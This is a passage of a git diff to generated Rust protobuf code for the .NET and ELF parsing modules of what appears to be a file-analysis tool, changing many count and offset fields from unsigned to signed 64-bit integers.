// Value or address associated with the dynamic entry. - optional uint64 val = 2; + optional int64 val = 2; } enum DynType { diff --git a/lib/src/modules/protos/generated/dotnet.rs b/lib/src/modules/protos/generated/dotnet.rs index 289ad36cd..47743f50c 100644 --- a/lib/src/modules/protos/generated/dotnet.rs +++ b/lib/src/modules/protos/generated/dotnet.rs @@ -35,25 +35,25 @@ pub struct Dotnet { // @@protoc_insertion_point(field:dotnet.Dotnet.version) pub version: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_streams) - pub number_of_streams: ::std::option::Option, + pub number_of_streams: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_guids) - pub number_of_guids: ::std::option::Option, + pub number_of_guids: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_resources) - pub number_of_resources: ::std::option::Option, + pub number_of_resources: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_generic_parameters) - pub number_of_generic_parameters: ::std::option::Option, + pub number_of_generic_parameters: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_classes) - pub number_of_classes: ::std::option::Option, + pub number_of_classes: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_assembly_refs) - pub number_of_assembly_refs: ::std::option::Option, + pub number_of_assembly_refs: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_modulerefs) - pub number_of_modulerefs: ::std::option::Option, + pub number_of_modulerefs: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_user_strings) - pub number_of_user_strings: ::std::option::Option, + pub number_of_user_strings: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_constants) - pub number_of_constants: ::std::option::Option, + pub number_of_constants: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.number_of_field_offsets) - pub number_of_field_offsets: ::std::option::Option, + pub number_of_field_offsets: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Dotnet.typelib) pub typelib: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:dotnet.Dotnet.streams) @@ -183,9 +183,9 @@ impl Dotnet { self.version.take().unwrap_or_else(|| ::std::string::String::new()) } - // optional uint64 number_of_streams = 4; + // optional int64 number_of_streams = 4; - pub fn number_of_streams(&self) -> u64 { + pub fn number_of_streams(&self) -> i64 { self.number_of_streams.unwrap_or(0) } @@ -198,13 +198,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_streams(&mut self, v: u64) { + pub fn set_number_of_streams(&mut self, v: i64) { self.number_of_streams = ::std::option::Option::Some(v); } - // optional uint64 number_of_guids = 5; + // optional int64 number_of_guids = 5; - pub fn number_of_guids(&self) -> u64 { + pub fn number_of_guids(&self) -> i64 { self.number_of_guids.unwrap_or(0) } @@ -217,13 +217,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_guids(&mut self, v: u64) { + pub fn set_number_of_guids(&mut self, v: i64) { self.number_of_guids = ::std::option::Option::Some(v); } - // optional uint64 number_of_resources = 6; + // optional int64 number_of_resources = 6; - pub fn number_of_resources(&self) -> u64 { + pub fn number_of_resources(&self) -> i64 { self.number_of_resources.unwrap_or(0) } @@ -236,13 +236,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_resources(&mut self, v: u64) { + pub fn set_number_of_resources(&mut self, v: i64) { self.number_of_resources = ::std::option::Option::Some(v); } - // optional uint64 number_of_generic_parameters = 7; + // optional int64 number_of_generic_parameters = 7; - pub fn number_of_generic_parameters(&self) -> u64 { + pub fn number_of_generic_parameters(&self) -> i64 { self.number_of_generic_parameters.unwrap_or(0) } @@ -255,13 +255,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_generic_parameters(&mut self, v: u64) { + pub fn set_number_of_generic_parameters(&mut self, v: i64) { self.number_of_generic_parameters = ::std::option::Option::Some(v); } - // optional uint64 number_of_classes = 10; + // optional int64 number_of_classes = 10; - pub fn number_of_classes(&self) -> u64 { + pub fn number_of_classes(&self) -> i64 { self.number_of_classes.unwrap_or(0) } @@ -274,13 +274,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_classes(&mut self, v: u64) { + pub fn set_number_of_classes(&mut self, v: i64) { self.number_of_classes = ::std::option::Option::Some(v); } - // optional uint64 number_of_assembly_refs = 11; + // optional int64 number_of_assembly_refs = 11; - pub fn number_of_assembly_refs(&self) -> u64 { + pub fn number_of_assembly_refs(&self) -> i64 { self.number_of_assembly_refs.unwrap_or(0) } @@ -293,13 +293,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_assembly_refs(&mut self, v: u64) { + pub fn set_number_of_assembly_refs(&mut self, v: i64) { self.number_of_assembly_refs = ::std::option::Option::Some(v); } - // optional uint64 number_of_modulerefs = 12; + // optional int64 number_of_modulerefs = 12; - pub fn number_of_modulerefs(&self) -> u64 { + pub fn number_of_modulerefs(&self) -> i64 { self.number_of_modulerefs.unwrap_or(0) } @@ -312,13 +312,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_modulerefs(&mut self, v: u64) { + pub fn set_number_of_modulerefs(&mut self, v: i64) { self.number_of_modulerefs = ::std::option::Option::Some(v); } - // optional uint64 number_of_user_strings = 13; + // optional int64 number_of_user_strings = 13; - pub fn number_of_user_strings(&self) -> u64 { + pub fn number_of_user_strings(&self) -> i64 { self.number_of_user_strings.unwrap_or(0) } @@ -331,13 +331,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_user_strings(&mut self, v: u64) { + pub fn set_number_of_user_strings(&mut self, v: i64) { self.number_of_user_strings = ::std::option::Option::Some(v); } - // optional uint64 number_of_constants = 14; + // optional int64 number_of_constants = 14; - pub fn number_of_constants(&self) -> u64 { + pub fn number_of_constants(&self) -> i64 { self.number_of_constants.unwrap_or(0) } @@ -350,13 +350,13 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_constants(&mut self, v: u64) { + pub fn set_number_of_constants(&mut self, v: i64) { self.number_of_constants = ::std::option::Option::Some(v); } - // optional uint64 number_of_field_offsets = 15; + // optional int64 number_of_field_offsets = 15; - pub fn number_of_field_offsets(&self) -> u64 { + pub fn number_of_field_offsets(&self) -> i64 { self.number_of_field_offsets.unwrap_or(0) } @@ -369,7 +369,7 @@ impl Dotnet { } // Param is passed by value, moved - pub fn set_number_of_field_offsets(&mut self, v: u64) { + pub fn set_number_of_field_offsets(&mut self, v: i64) { self.number_of_field_offsets = ::std::option::Option::Some(v); } @@ -585,34 +585,34 @@ impl ::protobuf::Message for Dotnet { self.version = ::std::option::Option::Some(is.read_string()?); }, 32 => { - self.number_of_streams = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_streams = ::std::option::Option::Some(is.read_int64()?); }, 40 => { - self.number_of_guids = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_guids = ::std::option::Option::Some(is.read_int64()?); }, 48 => { - self.number_of_resources = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_resources = ::std::option::Option::Some(is.read_int64()?); }, 56 => { - self.number_of_generic_parameters = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_generic_parameters = ::std::option::Option::Some(is.read_int64()?); }, 80 => { - self.number_of_classes = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_classes = ::std::option::Option::Some(is.read_int64()?); }, 88 => { - self.number_of_assembly_refs = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_assembly_refs = ::std::option::Option::Some(is.read_int64()?); }, 96 => { - self.number_of_modulerefs = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_modulerefs = ::std::option::Option::Some(is.read_int64()?); }, 104 => { - self.number_of_user_strings = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_user_strings = ::std::option::Option::Some(is.read_int64()?); }, 112 => { - self.number_of_constants = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_constants = ::std::option::Option::Some(is.read_int64()?); }, 120 => { - self.number_of_field_offsets = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_field_offsets = ::std::option::Option::Some(is.read_int64()?); }, 130 => { self.typelib = ::std::option::Option::Some(is.read_string()?); @@ -672,34 +672,34 @@ impl ::protobuf::Message for Dotnet { my_size += ::protobuf::rt::string_size(3, &v); } if let Some(v) = self.number_of_streams { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.number_of_guids { - my_size += ::protobuf::rt::uint64_size(5, v); + my_size += ::protobuf::rt::int64_size(5, v); } if let Some(v) = self.number_of_resources { - my_size += ::protobuf::rt::uint64_size(6, v); + my_size += ::protobuf::rt::int64_size(6, v); } if let Some(v) = self.number_of_generic_parameters { - my_size += ::protobuf::rt::uint64_size(7, v); + my_size += ::protobuf::rt::int64_size(7, v); } if let Some(v) = self.number_of_classes { - my_size += ::protobuf::rt::uint64_size(10, v); + my_size += ::protobuf::rt::int64_size(10, v); } if let Some(v) = self.number_of_assembly_refs { - my_size += ::protobuf::rt::uint64_size(11, v); + my_size += ::protobuf::rt::int64_size(11, v); } if let Some(v) = self.number_of_modulerefs { - my_size += ::protobuf::rt::uint64_size(12, v); + my_size += ::protobuf::rt::int64_size(12, v); } if let Some(v) = self.number_of_user_strings { - my_size += ::protobuf::rt::uint64_size(13, v); + my_size += ::protobuf::rt::int64_size(13, v); } if let Some(v) = self.number_of_constants { - my_size += ::protobuf::rt::uint64_size(14, v); + my_size += ::protobuf::rt::int64_size(14, v); } if let Some(v) = self.number_of_field_offsets { - my_size += ::protobuf::rt::uint64_size(15, v); + my_size += ::protobuf::rt::int64_size(15, v); } if let Some(v) = self.typelib.as_ref() { my_size += ::protobuf::rt::string_size(16, &v); @@ -755,34 +755,34 @@ impl ::protobuf::Message for Dotnet { os.write_string(3, v)?; } if let Some(v) = self.number_of_streams { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.number_of_guids { - os.write_uint64(5, v)?; + os.write_int64(5, v)?; } if let Some(v) = self.number_of_resources { - os.write_uint64(6, v)?; + os.write_int64(6, v)?; } if let Some(v) = self.number_of_generic_parameters { - os.write_uint64(7, v)?; + os.write_int64(7, v)?; } if let Some(v) = self.number_of_classes { - os.write_uint64(10, v)?; + os.write_int64(10, v)?; } if let Some(v) = self.number_of_assembly_refs { - os.write_uint64(11, v)?; + os.write_int64(11, v)?; } if let Some(v) = self.number_of_modulerefs { - os.write_uint64(12, v)?; + os.write_int64(12, v)?; } if let Some(v) = self.number_of_user_strings { - os.write_uint64(13, v)?; + os.write_int64(13, v)?; } if let Some(v) = self.number_of_constants { - os.write_uint64(14, v)?; + os.write_int64(14, v)?; } if let Some(v) = self.number_of_field_offsets { - os.write_uint64(15, v)?; + os.write_int64(15, v)?; } if let Some(v) = self.typelib.as_ref() { os.write_string(16, v)?; @@ -2141,11 +2141,11 @@ pub struct Class { // @@protoc_insertion_point(field:dotnet.Class.sealed) pub sealed: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Class.number_of_base_types) - pub number_of_base_types: ::std::option::Option, + pub number_of_base_types: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Class.number_of_generic_parameters) - pub number_of_generic_parameters: ::std::option::Option, + pub number_of_generic_parameters: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Class.number_of_methods) - pub number_of_methods: ::std::option::Option, + pub number_of_methods: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Class.base_types) pub base_types: ::std::vec::Vec<::std::string::String>, // @@protoc_insertion_point(field:dotnet.Class.generic_parameters) @@ -2386,9 +2386,9 @@ impl Class { self.sealed = ::std::option::Option::Some(v); } - // required uint64 number_of_base_types = 8; + // required int64 number_of_base_types = 8; - pub fn number_of_base_types(&self) -> u64 { + pub fn number_of_base_types(&self) -> i64 { self.number_of_base_types.unwrap_or(0) } @@ -2401,13 +2401,13 @@ impl Class { } // Param is passed by value, moved - pub fn set_number_of_base_types(&mut self, v: u64) { + pub fn set_number_of_base_types(&mut self, v: i64) { self.number_of_base_types = ::std::option::Option::Some(v); } - // required uint64 number_of_generic_parameters = 9; + // required int64 number_of_generic_parameters = 9; - pub fn number_of_generic_parameters(&self) -> u64 { + pub fn number_of_generic_parameters(&self) -> i64 { self.number_of_generic_parameters.unwrap_or(0) } @@ -2420,13 +2420,13 @@ impl Class { } // Param is passed by value, moved - pub fn set_number_of_generic_parameters(&mut self, v: u64) { + pub fn set_number_of_generic_parameters(&mut self, v: i64) { self.number_of_generic_parameters = ::std::option::Option::Some(v); } - // required uint64 number_of_methods = 10; + // required int64 number_of_methods = 10; - pub fn number_of_methods(&self) -> u64 { + pub fn number_of_methods(&self) -> i64 { self.number_of_methods.unwrap_or(0) } @@ -2439,7 +2439,7 @@ impl Class { } // Param is passed by value, moved - pub fn set_number_of_methods(&mut self, v: u64) { + pub fn set_number_of_methods(&mut self, v: i64) { self.number_of_methods = ::std::option::Option::Some(v); } @@ -2571,13 +2571,13 @@ impl ::protobuf::Message for Class { self.sealed = ::std::option::Option::Some(is.read_bool()?); }, 64 => { - self.number_of_base_types = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_base_types = ::std::option::Option::Some(is.read_int64()?); }, 72 => { - self.number_of_generic_parameters = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_generic_parameters = ::std::option::Option::Some(is.read_int64()?); }, 80 => { - self.number_of_methods = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_methods = ::std::option::Option::Some(is.read_int64()?); }, 90 => { self.base_types.push(is.read_string()?); @@ -2622,13 +2622,13 @@ impl ::protobuf::Message for Class { my_size += 1 + 1; } if let Some(v) = self.number_of_base_types { - my_size += ::protobuf::rt::uint64_size(8, v); + my_size += ::protobuf::rt::int64_size(8, v); } if let Some(v) = self.number_of_generic_parameters { - my_size += ::protobuf::rt::uint64_size(9, v); + my_size += ::protobuf::rt::int64_size(9, v); } if let Some(v) = self.number_of_methods { - my_size += ::protobuf::rt::uint64_size(10, v); + my_size += ::protobuf::rt::int64_size(10, v); } for value in &self.base_types { my_size += ::protobuf::rt::string_size(11, &value); @@ -2668,13 +2668,13 @@ impl ::protobuf::Message for Class { os.write_bool(7, v)?; } if let Some(v) = self.number_of_base_types { - os.write_uint64(8, v)?; + os.write_int64(8, v)?; } if let Some(v) = self.number_of_generic_parameters { - os.write_uint64(9, v)?; + os.write_int64(9, v)?; } if let Some(v) = self.number_of_methods { - os.write_uint64(10, v)?; + os.write_int64(10, v)?; } for v in &self.base_types { os.write_string(11, &v)?; @@ -2775,9 +2775,9 @@ pub struct Method { // @@protoc_insertion_point(field:dotnet.Method.return_type) pub return_type: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:dotnet.Method.number_of_generic_parameters) - pub number_of_generic_parameters: ::std::option::Option, + pub number_of_generic_parameters: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Method.number_of_parameters) - pub number_of_parameters: ::std::option::Option, + pub number_of_parameters: ::std::option::Option, // @@protoc_insertion_point(field:dotnet.Method.generic_parameters) pub generic_parameters: ::std::vec::Vec<::std::string::String>, // @@protoc_insertion_point(field:dotnet.Method.parameters) @@ -2982,9 +2982,9 @@ impl Method { self.return_type.take().unwrap_or_else(|| ::std::string::String::new()) } - // required uint64 number_of_generic_parameters = 8; + // required int64 number_of_generic_parameters = 8; - pub fn number_of_generic_parameters(&self) -> u64 { + pub fn number_of_generic_parameters(&self) -> i64 { self.number_of_generic_parameters.unwrap_or(0) } @@ -2997,13 +2997,13 @@ impl Method { } // Param is passed by value, moved - pub fn set_number_of_generic_parameters(&mut self, v: u64) { + pub fn set_number_of_generic_parameters(&mut self, v: i64) { self.number_of_generic_parameters = ::std::option::Option::Some(v); } - // required uint64 number_of_parameters = 9; + // required int64 number_of_parameters = 9; - pub fn number_of_parameters(&self) -> u64 { + pub fn number_of_parameters(&self) -> i64 { self.number_of_parameters.unwrap_or(0) } @@ -3016,7 +3016,7 @@ impl Method { } // Param is passed by value, moved - pub fn set_number_of_parameters(&mut self, v: u64) { + pub fn set_number_of_parameters(&mut self, v: i64) { self.number_of_parameters = ::std::option::Option::Some(v); } @@ -3141,10 +3141,10 @@ impl ::protobuf::Message for Method { self.return_type = ::std::option::Option::Some(is.read_string()?); }, 64 => { - self.number_of_generic_parameters = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_generic_parameters = ::std::option::Option::Some(is.read_int64()?); }, 72 => { - self.number_of_parameters = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_parameters = ::std::option::Option::Some(is.read_int64()?); }, 82 => { self.generic_parameters.push(is.read_string()?); @@ -3186,10 +3186,10 @@ impl ::protobuf::Message for Method { my_size += ::protobuf::rt::string_size(7, &v); } if let Some(v) = self.number_of_generic_parameters { - my_size += ::protobuf::rt::uint64_size(8, v); + my_size += ::protobuf::rt::int64_size(8, v); } if let Some(v) = self.number_of_parameters { - my_size += ::protobuf::rt::uint64_size(9, v); + my_size += ::protobuf::rt::int64_size(9, v); } for value in &self.generic_parameters { my_size += ::protobuf::rt::string_size(10, &value); @@ -3226,10 +3226,10 @@ impl ::protobuf::Message for Method { os.write_string(7, v)?; } if let Some(v) = self.number_of_generic_parameters { - os.write_uint64(8, v)?; + os.write_int64(8, v)?; } if let Some(v) = self.number_of_parameters { - os.write_uint64(9, v)?; + os.write_int64(9, v)?; } for v in &self.generic_parameters { os.write_string(10, &v)?; @@ -3524,31 +3524,31 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x12\x1b\n\tis_dotnet\x18\x01\x20\x01(\x08R\x08isDotnet\x12\x1f\n\x0bmod\ ule_name\x18\x02\x20\x01(\tR\nmoduleName\x12\x18\n\x07version\x18\x03\ \x20\x01(\tR\x07version\x12\x7f\n\x11number_of_streams\x18\x04\x20\x01(\ - \x04R\x0fnumberOfStreamsBS\x82\x93\x19O2M\n\x18this\x20field\x20is\x20de\ + \x03R\x0fnumberOfStreamsBS\x82\x93\x19O2M\n\x18this\x20field\x20is\x20de\ precated\x12\"use\x20`dotnet.streams.len()`\x20instead\x1a\rstreams.len(\ - )\x12w\n\x0fnumber_of_guids\x18\x05\x20\x01(\x04R\rnumberOfGuidsBO\x82\ + )\x12w\n\x0fnumber_of_guids\x18\x05\x20\x01(\x03R\rnumberOfGuidsBO\x82\ \x93\x19K2I\n\x18this\x20field\x20is\x20deprecated\x12\x20use\x20`dotnet\ .guids.len()`\x20instead\x1a\x0bguids.len()\x12\x87\x01\n\x13number_of_r\ - esources\x18\x06\x20\x01(\x04R\x11numberOfResourcesBW\x82\x93\x19S2Q\n\ + esources\x18\x06\x20\x01(\x03R\x11numberOfResourcesBW\x82\x93\x19S2Q\n\ \x18this\x20field\x20is\x20deprecated\x12$use\x20`dotnet.resources.len()\ `\x20instead\x1a\x0fresources.len()\x12?\n\x1cnumber_of_generic_paramete\ - rs\x18\x07\x20\x01(\x04R\x19numberOfGenericParameters\x12\x7f\n\x11numbe\ - r_of_classes\x18\n\x20\x01(\x04R\x0fnumberOfClassesBS\x82\x93\x19O2M\n\ + rs\x18\x07\x20\x01(\x03R\x19numberOfGenericParameters\x12\x7f\n\x11numbe\ + r_of_classes\x18\n\x20\x01(\x03R\x0fnumberOfClassesBS\x82\x93\x19O2M\n\ \x18this\x20field\x20is\x20deprecated\x12\"use\x20`dotnet.classes.len()`\ \x20instead\x1a\rclasses.len()\x12\x96\x01\n\x17number_of_assembly_refs\ - \x18\x0b\x20\x01(\x04R\x14numberOfAssemblyRefsB_\x82\x93\x19[2Y\n\x18thi\ + \x18\x0b\x20\x01(\x03R\x14numberOfAssemblyRefsB_\x82\x93\x19[2Y\n\x18thi\ s\x20field\x20is\x20deprecated\x12(use\x20`dotnet.assembly_refs.len()`\ \x20instead\x1a\x13assembly_refs.len()\x12\x8b\x01\n\x14number_of_module\ - refs\x18\x0c\x20\x01(\x04R\x12numberOfModulerefsBY\x82\x93\x19U2S\n\x18t\ + refs\x18\x0c\x20\x01(\x03R\x12numberOfModulerefsBY\x82\x93\x19U2S\n\x18t\ his\x20field\x20is\x20deprecated\x12%use\x20`dotnet.modulerefs.len()`\ \x20instead\x1a\x10modulerefs.len()\x12\x92\x01\n\x16number_of_user_stri\ - ngs\x18\r\x20\x01(\x04R\x13numberOfUserStringsB]\x82\x93\x19Y2W\n\x18thi\ + ngs\x18\r\x20\x01(\x03R\x13numberOfUserStringsB]\x82\x93\x19Y2W\n\x18thi\ s\x20field\x20is\x20deprecated\x12'use\x20`dotnet.user_strings.len()`\ \x20instead\x1a\x12user_strings.len()\x12\x87\x01\n\x13number_of_constan\ - ts\x18\x0e\x20\x01(\x04R\x11numberOfConstantsBW\x82\x93\x19S2Q\n\x18this\ + ts\x18\x0e\x20\x01(\x03R\x11numberOfConstantsBW\x82\x93\x19S2Q\n\x18this\ \x20field\x20is\x20deprecated\x12$use\x20`dotnet.constants.len()`\x20ins\ tead\x1a\x0fconstants.len()\x12\x96\x01\n\x17number_of_field_offsets\x18\ - \x0f\x20\x01(\x04R\x14numberOfFieldOffsetsB_\x82\x93\x19[2Y\n\x18this\ + \x0f\x20\x01(\x03R\x14numberOfFieldOffsetsB_\x82\x93\x19[2Y\n\x18this\ \x20field\x20is\x20deprecated\x12(use\x20`dotnet.field_offsets.len()`\ \x20instead\x1a\x13field_offsets.len()\x12\x18\n\x07typelib\x18\x10\x20\ \x01(\tR\x07typelib\x12(\n\x07streams\x18\x11\x20\x03(\x0b2\x0e.dotnet.S\ @@ -3581,13 +3581,13 @@ static file_descriptor_proto_data: &'static [u8] = b"\ lity\x18\x04\x20\x01(\tR\nvisibility\x12\x12\n\x04type\x18\x05\x20\x01(\ \tR\x04type\x12\x1a\n\x08abstract\x18\x06\x20\x02(\x08R\x08abstract\x12\ \x16\n\x06sealed\x18\x07\x20\x02(\x08R\x06sealed\x12\x83\x01\n\x14number\ - _of_base_types\x18\x08\x20\x02(\x04R\x11numberOfBaseTypesBR\x82\x93\x19N\ + _of_base_types\x18\x08\x20\x02(\x03R\x11numberOfBaseTypesBR\x82\x93\x19N\ 2L\n\x18this\x20field\x20is\x20deprecated\x12\x1euse\x20`base_types.len(\ )`\x20instead\x1a\x10base_types.len()\x12\xa3\x01\n\x1cnumber_of_generic\ - _parameters\x18\t\x20\x02(\x04R\x19numberOfGenericParametersBb\x82\x93\ + _parameters\x18\t\x20\x02(\x03R\x19numberOfGenericParametersBb\x82\x93\ \x19^2\\\n\x18this\x20field\x20is\x20deprecated\x12&use\x20`generic_para\ meters.len()`\x20instead\x1a\x18generic_parameters.len()\x12x\n\x11numbe\ - r_of_methods\x18\n\x20\x02(\x04R\x0fnumberOfMethodsBL\x82\x93\x19H2F\n\ + r_of_methods\x18\n\x20\x02(\x03R\x0fnumberOfMethodsBL\x82\x93\x19H2F\n\ \x18this\x20field\x20is\x20deprecated\x12\x1buse\x20`methods.len()`\x20i\ nstead\x1a\rmethods.len()\x12\x1d\n\nbase_types\x18\x0b\x20\x03(\tR\tbas\ eTypes\x12-\n\x12generic_parameters\x18\x0c\x20\x03(\tR\x11genericParame\ @@ -3598,10 +3598,10 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x08R\x06static\x12\x18\n\x07virtual\x18\x05\x20\x02(\x08R\x07virtual\ \x12\x14\n\x05final\x18\x06\x20\x02(\x08R\x05final\x12\x1f\n\x0breturn_t\ ype\x18\x07\x20\x01(\tR\nreturnType\x12\xa3\x01\n\x1cnumber_of_generic_p\ - arameters\x18\x08\x20\x02(\x04R\x19numberOfGenericParametersBb\x82\x93\ + arameters\x18\x08\x20\x02(\x03R\x19numberOfGenericParametersBb\x82\x93\ \x19^2\\\n\x18this\x20field\x20is\x20deprecated\x12&use\x20`generic_para\ meters.len()`\x20instead\x1a\x18generic_parameters.len()\x12\x84\x01\n\ - \x14number_of_parameters\x18\t\x20\x02(\x04R\x12numberOfParametersBR\x82\ + \x14number_of_parameters\x18\t\x20\x02(\x03R\x12numberOfParametersBR\x82\ \x93\x19N2L\n\x18this\x20field\x20is\x20deprecated\x12\x1euse\x20`parame\ ters.len()`\x20instead\x1a\x10parameters.len()\x12-\n\x12generic_paramet\ ers\x18\n\x20\x03(\tR\x11genericParameters\x12-\n\nparameters\x18\x0b\ diff --git a/lib/src/modules/protos/generated/elf.rs b/lib/src/modules/protos/generated/elf.rs index 49c22d91f..58b22a670 100644 --- a/lib/src/modules/protos/generated/elf.rs +++ b/lib/src/modules/protos/generated/elf.rs @@ -35,25 +35,25 @@ pub struct ELF { // @@protoc_insertion_point(field:elf.ELF.osabi) pub osabi: ::std::option::Option<::protobuf::EnumOrUnknown>, // @@protoc_insertion_point(field:elf.ELF.entry_point) - pub entry_point: ::std::option::Option, + pub entry_point: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.sh_offset) - pub sh_offset: ::std::option::Option, + pub sh_offset: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.sh_entry_size) pub sh_entry_size: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.ph_offset) - pub ph_offset: ::std::option::Option, + pub ph_offset: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.ph_entry_size) pub ph_entry_size: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.number_of_sections) - pub number_of_sections: ::std::option::Option, + pub number_of_sections: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.number_of_segments) - pub number_of_segments: ::std::option::Option, + pub number_of_segments: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.symtab_entries) - pub symtab_entries: ::std::option::Option, + pub symtab_entries: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.dynsym_entries) - pub dynsym_entries: ::std::option::Option, + pub dynsym_entries: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.dynamic_section_entries) - pub dynamic_section_entries: ::std::option::Option, + pub dynamic_section_entries: ::std::option::Option, // @@protoc_insertion_point(field:elf.ELF.sections) pub sections: ::std::vec::Vec
, // @@protoc_insertion_point(field:elf.ELF.segments) @@ -146,9 +146,9 @@ impl ELF { self.osabi = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); } - // optional uint64 entry_point = 3; + // optional int64 entry_point = 3; - pub fn entry_point(&self) -> u64 { + pub fn entry_point(&self) -> i64 { self.entry_point.unwrap_or(0) } @@ -161,13 +161,13 @@ impl ELF { } // Param is passed by value, moved - pub fn set_entry_point(&mut self, v: u64) { + pub fn set_entry_point(&mut self, v: i64) { self.entry_point = ::std::option::Option::Some(v); } - // optional uint64 sh_offset = 4; + // optional int64 sh_offset = 4; - pub fn sh_offset(&self) -> u64 { + pub fn sh_offset(&self) -> i64 { self.sh_offset.unwrap_or(0) } @@ -180,7 +180,7 @@ impl ELF { } // Param is passed by value, moved - pub fn set_sh_offset(&mut self, v: u64) { + pub fn set_sh_offset(&mut self, v: i64) { self.sh_offset = ::std::option::Option::Some(v); } @@ -203,9 +203,9 @@ impl ELF { self.sh_entry_size = ::std::option::Option::Some(v); } - // optional uint64 ph_offset = 6; + // optional int64 ph_offset = 6; - pub fn ph_offset(&self) -> u64 { + pub fn ph_offset(&self) -> i64 { self.ph_offset.unwrap_or(0) } @@ -218,7 +218,7 @@ impl ELF { } // Param is passed by value, moved - pub fn set_ph_offset(&mut self, v: u64) { + pub fn set_ph_offset(&mut self, v: i64) { self.ph_offset = ::std::option::Option::Some(v); } @@ -241,9 +241,9 @@ impl ELF { self.ph_entry_size = ::std::option::Option::Some(v); } - // optional uint64 number_of_sections = 8; + // optional int64 number_of_sections = 8; - pub fn number_of_sections(&self) -> u64 { + pub fn number_of_sections(&self) -> i64 { self.number_of_sections.unwrap_or(0) } @@ -256,13 +256,13 @@ impl ELF { } // Param is passed by value, moved - pub fn set_number_of_sections(&mut self, v: u64) { + pub fn set_number_of_sections(&mut self, v: i64) { self.number_of_sections = ::std::option::Option::Some(v); } - // optional uint64 number_of_segments = 9; + // optional int64 number_of_segments = 9; - pub fn number_of_segments(&self) -> u64 { + pub fn number_of_segments(&self) -> i64 { self.number_of_segments.unwrap_or(0) } @@ -275,13 +275,13 @@ impl ELF { } // Param is passed by value, moved - pub fn set_number_of_segments(&mut self, v: u64) { + pub fn set_number_of_segments(&mut self, v: i64) { self.number_of_segments = ::std::option::Option::Some(v); } - // optional uint64 symtab_entries = 10; + // optional int64 symtab_entries = 10; - pub fn symtab_entries(&self) -> u64 { + pub fn symtab_entries(&self) -> i64 { self.symtab_entries.unwrap_or(0) } @@ -294,13 +294,13 @@ impl ELF { } // Param is passed by value, moved - pub fn set_symtab_entries(&mut self, v: u64) { + pub fn set_symtab_entries(&mut self, v: i64) { self.symtab_entries = ::std::option::Option::Some(v); } - // optional uint64 dynsym_entries = 11; + // optional int64 dynsym_entries = 11; - pub fn dynsym_entries(&self) -> u64 { + pub fn dynsym_entries(&self) -> i64 { self.dynsym_entries.unwrap_or(0) } @@ -313,13 +313,13 @@ impl ELF { } // Param is passed by value, moved - pub fn set_dynsym_entries(&mut self, v: u64) { + pub fn set_dynsym_entries(&mut self, v: i64) { self.dynsym_entries = ::std::option::Option::Some(v); } - // optional uint64 dynamic_section_entries = 12; + // optional int64 dynamic_section_entries = 12; - pub fn dynamic_section_entries(&self) -> u64 { + pub fn dynamic_section_entries(&self) -> i64 { self.dynamic_section_entries.unwrap_or(0) } @@ -332,7 +332,7 @@ impl ELF { } // Param is passed by value, moved - pub fn set_dynamic_section_entries(&mut self, v: u64) { + pub fn set_dynamic_section_entries(&mut self, v: i64) { self.dynamic_section_entries = ::std::option::Option::Some(v); } @@ -482,34 +482,34 @@ impl ::protobuf::Message for ELF { self.osabi = 